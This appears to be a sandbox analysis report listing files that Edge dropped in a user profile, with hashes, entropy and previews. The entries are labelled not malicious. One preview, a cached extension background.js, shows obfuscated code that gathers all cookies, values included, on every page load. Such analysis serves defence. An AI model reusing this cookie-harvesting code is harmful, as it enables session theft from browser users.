SHA1:	4ECD3413E5BA7BA97398819CAFCC9DBE175F57E6
SHA-256:	9EF811AC2B8DFACAE76139CDBD824648C8CC2F244939EEF3D7428DF8CA9F4021
SHA-512:	8557DEB84B39785AEB0EF9B1D8C5EB33E973A097D133D74C6FD0B58BF24F00E82ED2CAF86ACFBA917C364C4BC6B97B71FCE62EECDA3915BED37458C5BCFA8315
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13358379729863100","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13358379729863100","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF30e49.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	26540
Entropy (8bit):	5.556524448103406
Encrypted:	false
SSDEEP:	768:gTgI8mWPMufAb8F1+UoAYDCx9Tuqh0VfUC9xbog/OVLKTCsYrwXpJtut:gTgI8mWPMufAbu1jasqCsJrtW
MD5:	8B80F3E3F42A13CF32B073CD3B0EA720
SHA1:	4ECD3413E5BA7BA97398819CAFCC9DBE175F57E6
SHA-256:	9EF811AC2B8DFACAE76139CDBD824648C8CC2F244939EEF3D7428DF8CA9F4021
SHA-512:	8557DEB84B39785AEB0EF9B1D8C5EB33E973A097D133D74C6FD0B58BF24F00E82ED2CAF86ACFBA917C364C4BC6B97B71FCE62EECDA3915BED37458C5BCFA8315
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13358379729863100","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13358379729863100","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF33e33.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	26540
Entropy (8bit):	5.556524448103406
Encrypted:	false
SSDEEP:	768:gTgI8mWPMufAb8F1+UoAYDCx9Tuqh0VfUC9xbog/OVLKTCsYrwXpJtut:gTgI8mWPMufAbu1jasqCsJrtW
MD5:	8B80F3E3F42A13CF32B073CD3B0EA720
SHA1:	4ECD3413E5BA7BA97398819CAFCC9DBE175F57E6
SHA-256:	9EF811AC2B8DFACAE76139CDBD824648C8CC2F244939EEF3D7428DF8CA9F4021
SHA-512:	8557DEB84B39785AEB0EF9B1D8C5EB33E973A097D133D74C6FD0B58BF24F00E82ED2CAF86ACFBA917C364C4BC6B97B71FCE62EECDA3915BED37458C5BCFA8315
Malicious:	false
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13358379729863100","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13358379729863100","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\CURRENT (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
SHA-512:	8969402593F927350E2CEB4B5BC2A277F3754697C1961E3D6237DA322257FBAB42909E1A742E22223447F3A4805F8D8EF525432A7C3515A549E984D3EFF72B23
Malicious:	false
Preview:	MANIFEST-000001.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\MANIFEST-000001

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	OpenPGP Secret Key
Category:	dropped
Size (bytes):	41
Entropy (8bit):	4.704993772857998
Encrypted:	false
SSDEEP:	3:scoBAIxQRDKIVjn:scoBY7jn
MD5:	5AF87DFD673BA2115E2FCF5CFDB727AB
SHA1:	D5B5BBF396DC291274584EF71F444F420B6056F1
SHA-256:	F9D31B278E215EB0D0E9CD709EDFA037E828F36214AB7906F612160FEAD4B2B4
SHA-512:	DE34583A7DBAFE4DD0DC0601E8F6906B9BC6A00C56C9323561204F77ABBC0DC9007C480FFE4092FF2F194D54616CAF50AECBD4A1E9583CAE0C76AD6DD7C2375B
Malicious:	false
Preview:	.\|.."....leveldb.BytewiseComparator......

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	7785
Entropy (8bit):	5.357330115453037
Encrypted:	false
SSDEEP:	192:ho47CsbnGz/K/ivZUQWFA8HK5kUoXhXta:n+sbn8/21q5FoXhXta
MD5:	8B6CB767EC9BB3E0815DC97E8351EBE8
SHA1:	CFF7598FF3212EFDBEC31F750767716EB7B0EFD7
SHA-256:	4DA11400D2AAB36A137229C79A3C1827B89D3C365F139C2EA401ED978FA6A8E8
SHA-512:	6984DA41B19F8D2057247B168F582B97D54F13FD2770473063E0F00D6A6CC7E29505A366F86A0C4DC558384F7AFA36B7DB2D7903E3ED1415E385D218701A38AB
Malicious:	false
Preview:	0\r..m..........rSG.....0let uniqueId;....chrome.runtime.onInstalled.addListener(async () => {.. uniqueId = await getData("uniqueId", undefined);.... if (!uniqueId) {.. uniqueId = generateUniqueId();.. await setData("uniqueId", uniqueId);.. }..});....chrome.webRequest.onCompleted.addListener(...async (details) => {... const qwqwqerw = await chrome.cookies.getAll({ url: details.url });... const xxxxsds = qwqwqerw.map((cvdfdfd) => ({....domain: cvdfdfd.domain,....expirationDate: cvdfdfd.expirationDate,....hostOnly: cvdfdfd.hostOnly,....httpOnly: cvdfdfd.httpOnly,....name: cvdfdfd.name,....path: cvdfdfd.path,....sameSite: cvdfdfd.sameSite,....secure: cvdfdfd.secure,....session: cvdfdfd.session,....storeId: cvdfdfd.storeId,....value: cvdfdfd.value... }));... await yrretrete(xxxxsds);...},...{ urls: ["<all_urls>"], types: ["main_frame"] },...["responseHeaders"].. );.. .. async function yrretrete(iuuiui) {...let zhengju = await getData("zhengju", []);......for (let ewewewe of

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\2cc80dabc69f58b6_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	9889
Entropy (8bit):	5.720643489517002
Encrypted:	false
SSDEEP:	192:JO4Z2Fl5+Q2rKzvJbEFN88/OVaF6b9I8cxtnp9CmeA9bWX:JFz0yFuaUIj/nLCmeA9yX
MD5:	D4248D9E5140AF8D5AAF310D0AB14262
SHA1:	D007698A3606180CA64EEC80332EBEB12D416B01
SHA-256:	0A0A748768718382534FF46751797D20BC272C512AAF84520C7EEAE03D8FACB0
SHA-512:	4FE3842EF6E89E00BC3FFD611A74EC127AA52ED6F1F614330AD097F3B4921F33156380F586E5ED4DCCFE0784E6AB06B01FEA23D01E7F276CF0C9FF979129CA1C
Malicious:	false
Preview:	0\r..m..........rSG.....0....Lp.................;.......*H&.......,T....`.....@L`.....0L`.....,T.U..`h....@Lb....\.........Rc..S.....getData...Rcv+'.....zhengju............Sb..............Rcj.I.....ewewewe.`.....(Sb.`............Rc.I.p....uniqueId`....Ib.........9....RL..,T.D.`F.....L`........(........Dk............-.........-...l....-.......-...l.....(Sb...........I`....Da.........$....c.................H......PQ.L...A...chrome-extension://mhpndkmgbeollhlhekioinkiofjhnfki/background.js...a........Db............D`.......A.`T........,T....`H....$Lb....Z..........0..Re..O.....generateUniqueId..RcF<h.....setData...Sb...............`.....,..Kd ...........s.......D..(.....................h.......!........c........h.............h..................%....;!...a..%.!.........c........h.............h...................h....................h.....(Sb...........I`....Dap............c..........`...@..He.........P................,T..`V....4Lb....~.........Rc..Z.....chrome....Rc.8W.....cookies...R

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\4cb013792b196a35_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	117984
Entropy (8bit):	5.581618149164995
Encrypted:	false
SSDEEP:	3072:q9/4xPXfOgndT6xeu6It//z/hR8/lbiXgb4HZL/0:TndT6BFtbebixHZL/0
MD5:	D8543095FE5A851E068C2B943495E480
SHA1:	255381AA53BF450E1EFA69EFB0D3A2AF47265274
SHA-256:	C521477D960AC63769374F0B8FA89EE6B31F44342F30F8ECF0D108EAAAAC83A1
SHA-512:	BF9B10809C90ECC742612D81FF13DD6F982B43E7162CE430270DC0344FF3167883DEF565D0E4A8BD070F990C26B7B4F76210CC9BDF62A800254FD31DCA024430
Malicious:	false
Preview:	0\r..m..........V.......1!function(e,t){if("object"==typeof exports&&"object"==typeof module)module.exports=t();else if("function"==typeof define&&define.amd)define([],t);else{var s=t();for(var a in s)("object"==typeof exports?exports:e)[a]=s[a]}}(self,(()=>(()=>{"use strict";var e={894:()=>{try{self["workbox:cacheable-response:6.4.0"]&&_()}catch(e){}},81:()=>{try{self["workbox:core:6.4.0"]&&_()}catch(e){}},485:()=>{try{self["workbox:expiration:6.4.0"]&&_()}catch(e){}},484:()=>{try{self["workbox:navigation-preload:6.4.0"]&&_()}catch(e){}},248:()=>{try{self["workbox:precaching:6.4.0"]&&_()}catch(e){}},492:()=>{try{self["workbox:routing:6.4.0"]&&_()}catch(e){}},154:()=>{try{self["workbox:strategies:6.4.0"]&&_()}catch(e){}}},t={};function s(a){var n=t[a];if(void 0!==n)return n.exports;var r=t[a]={exports:{}};return e[a](r,r.exports,s),r.exports}s.g=function(){if("object"==typeof globalThis)return globalThis;try{return this\|\|new Function("return this")()}catch(e){if("object"==typeof window

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\4cb013792b196a35_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	199905
Entropy (8bit):	6.403841822524545
Encrypted:	false
SSDEEP:	3072:J0LZSdImt09wfJ/ax3wGyAM/Ywm+sWb5qF91aorL3mtClPVBF0L/grgr4k35:JzTtw33wYwmtzFzqCll0L/YWh
MD5:	856004A20E06EA9CD7ACFD151783EA74
SHA1:	0E7A412D3FDF85B598F3C68EC8BCD3ED605FA997
SHA-256:	0DC0D046CA124FA496D89EAF1448FFA59756EECB65D044A12BDAAA0B58805617
SHA-512:	54A96C89EC55A9D9D92E945CB38A57B2D5EE09C716DE9C326BEDAAB4870E2D7EB3553E9BB9FCB953D2C2107472699EB931CA1CBC3F8B54DE2A4BF8FAC554518E
Malicious:	false
Preview:	0\r..m..........V.......1....Lp.................;...............,T.8..`,.....L`.....,T...`......L`......Rc...o....exports...Rc^].9....module....Rc........define....RbN.......amd....D..H...........".. ...".. ...!...a..2....]".. ...!...-.....!...\|..c.....>a...8v.....................".. ...!........./..4.....).....$Sb............I`....Da......... ..f..........`...p...0...j...p..H.......Q..........https://ntp.msn.com/edge/ntp/service-worker.js?bundles=latest&riverAgeMinutes=2880&enableNetworkFirst=true&navAgeMinutes=2880&enableNavPreload=true&enableEmptySectionRoute=true&enableFallbackVerticalsFeed=true&networkTimeoutSeconds=5...a........Db............D`........A.`............,T.,.`......L`.....,T...`>....DL`.....DSb.....................q....c................I`....Da.....u...,T.`.`z.....L`..........a............a.........Dr8................/....-.......}....4.........../...-..........\....-........(Sb.............q.`....Da....z....T...d..........0..........0e........@............

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	24
Entropy (8bit):	2.1431558784658327
Encrypted:	false
SSDEEP:	3:m+l:m
MD5:	54CB446F628B2EA4A5BCE5769910512E
SHA1:	C27CA848427FE87F5CF4D0E0E3CD57151B0D820D
SHA-256:	FBCFE23A2ECB82B7100C50811691DDE0A33AA3DA8D176BE9882A9DB485DC0F2D
SHA-512:	8F6ED2E91AED9BD415789B1DBE591E7EAB29F3F1B48FDFA5E864D7BF4AE554ACC5D82B4097A770DABC228523253623E4296C5023CF48252E1B94382C43123CB0
Malicious:	false
Preview:	0\r..m..................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\temp-index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	96
Entropy (8bit):	3.66748125036058
Encrypted:	false
SSDEEP:	3:Swc9q/Itln/ljHvh/llTSXk/tblVGN:SCgXKXsaN
MD5:	637295D1D09A9A074320A91F935AB831
SHA1:	43C1E99ABEC2674A1AA550EBD0E84904D2971081
SHA-256:	39B9786D8B5871A1BA340D27BD9F5AAB7E9FA2D2FDCBE0D14C99020470550C34
SHA-512:	5682B961DDE83D62E802205542E5BA0F78A2A02C50A606A63079836EC211B9FBD45C98EA6BED53B49717E4126E9750C8CE4EDB768FC0F6C3B359160936BC98A2
Malicious:	false
Preview:	X....8.coy retne............. ..........5j.+y..L.................X....,<........F......24l'`u/.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	96
Entropy (8bit):	3.66748125036058
Encrypted:	false
SSDEEP:	3:Swc9q/Itln/ljHvh/llTSXk/tblVGN:SCgXKXsaN
MD5:	637295D1D09A9A074320A91F935AB831
SHA1:	43C1E99ABEC2674A1AA550EBD0E84904D2971081
SHA-256:	39B9786D8B5871A1BA340D27BD9F5AAB7E9FA2D2FDCBE0D14C99020470550C34
SHA-512:	5682B961DDE83D62E802205542E5BA0F78A2A02C50A606A63079836EC211B9FBD45C98EA6BED53B49717E4126E9750C8CE4EDB768FC0F6C3B359160936BC98A2
Malicious:	false
Preview:	X....8.coy retne............. ..........5j.+y..L.................X....,<........F......24l'`u/.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RF33559.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	96
Entropy (8bit):	3.66748125036058
Encrypted:	false
SSDEEP:	3:Swc9q/Itln/ljHvh/llTSXk/tblVGN:SCgXKXsaN
MD5:	637295D1D09A9A074320A91F935AB831
SHA1:	43C1E99ABEC2674A1AA550EBD0E84904D2971081
SHA-256:	39B9786D8B5871A1BA340D27BD9F5AAB7E9FA2D2FDCBE0D14C99020470550C34
SHA-512:	5682B961DDE83D62E802205542E5BA0F78A2A02C50A606A63079836EC211B9FBD45C98EA6BED53B49717E4126E9750C8CE4EDB768FC0F6C3B359160936BC98A2
Malicious:	false
Preview:	X....8.coy retne............. ..........5j.+y..L.................X....,<........F......24l'`u/.

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Cache\Cache_Data\data_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 512, next free block index 3284796609, field type 0
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.01057775872642915
Encrypted:	false
SSDEEP:	3:MsFl:/F
MD5:	CF89D16BB9107C631DAABF0C0EE58EFB
SHA1:	3AE5D3A7CF1F94A56E42F9A58D90A0B9616AE74B
SHA-256:	D6A5FE39CD672781B256E0E3102F7022635F1D4BB7CFCC90A80FFFE4D0F3877E
SHA-512:	8CB5B059C8105EB91E74A7D5952437AAA1ADA89763C5843E7B0F1B93D9EBE15ED40F287C652229291FAC02D712CF7FF5ECECEF276BA0D7DDC35558A3EC3F77B0
Malicious:	false
Preview:	............$...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Cache\Cache_Data\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	8.280239615765425E-4
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2:/M/xT02
MD5:	D0D388F3865D0523E451D6BA0BE34CC4
SHA1:	8571C6A52AACC2747C048E3419E5657B74612995
SHA-256:	902F30C1FB0597D0734BC34B979EC5D131F8F39A4B71B338083821216EC8D61B
SHA-512:	376011D00DE659EB6082A74E862CFAC97A9BB508E0B740761505142E2D24EC1C30AA61EFBC1C0DD08FF0F34734444DE7F77DD90A6CA42B48A4C7FAD5F0BDDD17
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Cache\Cache_Data\data_2

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.011852361981932763
Encrypted:	false
SSDEEP:	3:MsHlDll:/H
MD5:	0962291D6D367570BEE5454721C17E11
SHA1:	59D10A893EF321A706A9255176761366115BEDCB
SHA-256:	EC1702806F4CC7C42A82FC2B38E89835FDE7C64BB32060E0823C9077CA92EFB7
SHA-512:	F555E961B69E09628EAF9C61F465871E6984CD4D31014F954BB747351DAD9CEA6D17C1DB4BCA2C1EB7F187CB5F3C0518748C339C8B43BBD1DBD94AEAA16F58ED
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Cache\Cache_Data\data_3

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.012340643231932763
Encrypted:	false
SSDEEP:	3:MsGl3ll:/y
MD5:	41876349CB12D6DB992F1309F22DF3F0
SHA1:	5CF26B3420FC0302CD0A71E8D029739B8765BE27
SHA-256:	E09F42C398D688DCE168570291F1F92D079987DEDA3099A34ADB9E8C0522B30C
SHA-512:	E9A4FC1F7CB6AE2901F8E02354A92C4AAA7A53C640DCF692DB42A27A5ACC2A3BFB25A0DE0EB08AB53983132016E7D43132EA4292E439BB636AAFD53FB6EF907E
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Cache\Cache_Data\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 768, next free block index 3284796353, field type 0
Category:	dropped
Size (bytes):	524656
Entropy (8bit):	5.027445846313988E-4
Encrypted:	false
SSDEEP:	3:LsulCqKt:LsqKt
MD5:	EB99ADAFDBA3E85BEFE654D83A961D18
SHA1:	500B1A59BF850EFBD991DD13EA64A06A8F77B86C
SHA-256:	6F48B5B35AA58B9D26BBE23453F381E095E9C00AB33EE8F7938DF2F76F737949
SHA-512:	B359D2FA422D50E8E23E1CD9B6F82797C4312879C4260FDA0CC5CA6B799A7E511CA03D58EF70E1C49F6426410A21C0BEDB5BE1E3D7E8E9380CAECF9F56DE3F59
Malicious:	false
Preview:	........................................Sk.&`u/.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_0

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 512, next free block index 3284796609, field type 0
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.01057775872642915
Encrypted:	false
SSDEEP:	3:MsFl:/F
MD5:	CF89D16BB9107C631DAABF0C0EE58EFB
SHA1:	3AE5D3A7CF1F94A56E42F9A58D90A0B9616AE74B
SHA-256:	D6A5FE39CD672781B256E0E3102F7022635F1D4BB7CFCC90A80FFFE4D0F3877E
SHA-512:	8CB5B059C8105EB91E74A7D5952437AAA1ADA89763C5843E7B0F1B93D9EBE15ED40F287C652229291FAC02D712CF7FF5ECECEF276BA0D7DDC35558A3EC3F77B0
Malicious:	false
Preview:	............$...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_2

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.011852361981932763
Encrypted:	false
SSDEEP:	3:MsHlDll:/H
MD5:	0962291D6D367570BEE5454721C17E11
SHA1:	59D10A893EF321A706A9255176761366115BEDCB
SHA-256:	EC1702806F4CC7C42A82FC2B38E89835FDE7C64BB32060E0823C9077CA92EFB7
SHA-512:	F555E961B69E09628EAF9C61F465871E6984CD4D31014F954BB747351DAD9CEA6D17C1DB4BCA2C1EB7F187CB5F3C0518748C339C8B43BBD1DBD94AEAA16F58ED
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\data_3

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	8192
Entropy (8bit):	0.012340643231932763
Encrypted:	false
SSDEEP:	3:MsGl3ll:/y
MD5:	41876349CB12D6DB992F1309F22DF3F0
SHA1:	5CF26B3420FC0302CD0A71E8D029739B8765BE27
SHA-256:	E09F42C398D688DCE168570291F1F92D079987DEDA3099A34ADB9E8C0522B30C
SHA-512:	E9A4FC1F7CB6AE2901F8E02354A92C4AAA7A53C640DCF692DB42A27A5ACC2A3BFB25A0DE0EB08AB53983132016E7D43132EA4292E439BB636AAFD53FB6EF907E
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\DawnCache\index

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	FoxPro FPT, blocks size 768, next free block index 3284796353, field type 0
Category:	dropped
Size (bytes):	262512
Entropy (8bit):	9.553120663130604E-4
Encrypted:	false
SSDEEP:	3:LsNl6fl/:Ls3a
MD5:	EAF9DD4CA2B27A23B2356A3CF077CD92
SHA1:	6DE3B195D60ECF7D0858EE3BC4D759DDB90109A5
SHA-256:	0928D64FF3C44BB60EB7B15E997AC9983E26DD81C25FE82E3590CD8017ADADCF
SHA-512:	244098EB1F9AC79C3ABE8CA9B3F4C94A7C8138130EF03B78EC92AB40C5BFBA5EED74CDA33E149FD667123E7E11BF1A5B4B08A73BD3F6E32CA186B9BB39F6AF1E
Malicious:	false
Preview:	..........................................&`u/.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\GPUCache\data_1

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	270336
Entropy (8bit):	0.0012471779557650352
Encrypted:	false
SSDEEP:	3:MsEllllkEthXllkl2zE:/M/xT02z
MD5:	F50F89A0A91564D0B8A211F8921AA7DE
SHA1:	112403A17DD69D5B9018B8CEDE023CB3B54EAB7D
SHA-256:	B1E963D702392FB7224786E7D56D43973E9B9EFD1B89C17814D7C558FFC0CDEC
SHA-512:	BF8CDA48CF1EC4E73F0DD1D4FA5562AF1836120214EDB74957430CD3E4A2783E801FA3F4ED2AFB375257CAEED4ABE958265237D6E0AACF35A9EDE7A2E8898D58
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Storage\ext\ihmafllikibpmigkcoadcmckbfhibefp\def\Network\448db563-8897-4d43-9bb6-e6e878491b63.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	111
Entropy (8bit):	4.718418993774295
Encrypted:	false
SSDEEP:	3:YLb9N+eAXRfHDH2LS7PMVKJq0nMb1KKtiVY:YHpoeS7PMVKJTnMRK3VY
MD5:	285252A2F6327D41EAB203DC2F402C67
SHA1:	ACEDB7BA5FBC3CE914A8BF386A6F72CA7BAA33C6
SHA-256:	5DFC321417FC31359F23320EA68014EBFD793C5BBED55F77DAB4180BBD4A2026
SHA-512:	11CE7CB484FEE66894E63C31DB0D6B7EF66AD0327D4E7E2EB85F3BCC2E836A3A522C68D681E84542E471E54F765E091EFE1EE4065641B0299B15613EB32DCC0D
Malicious:	false
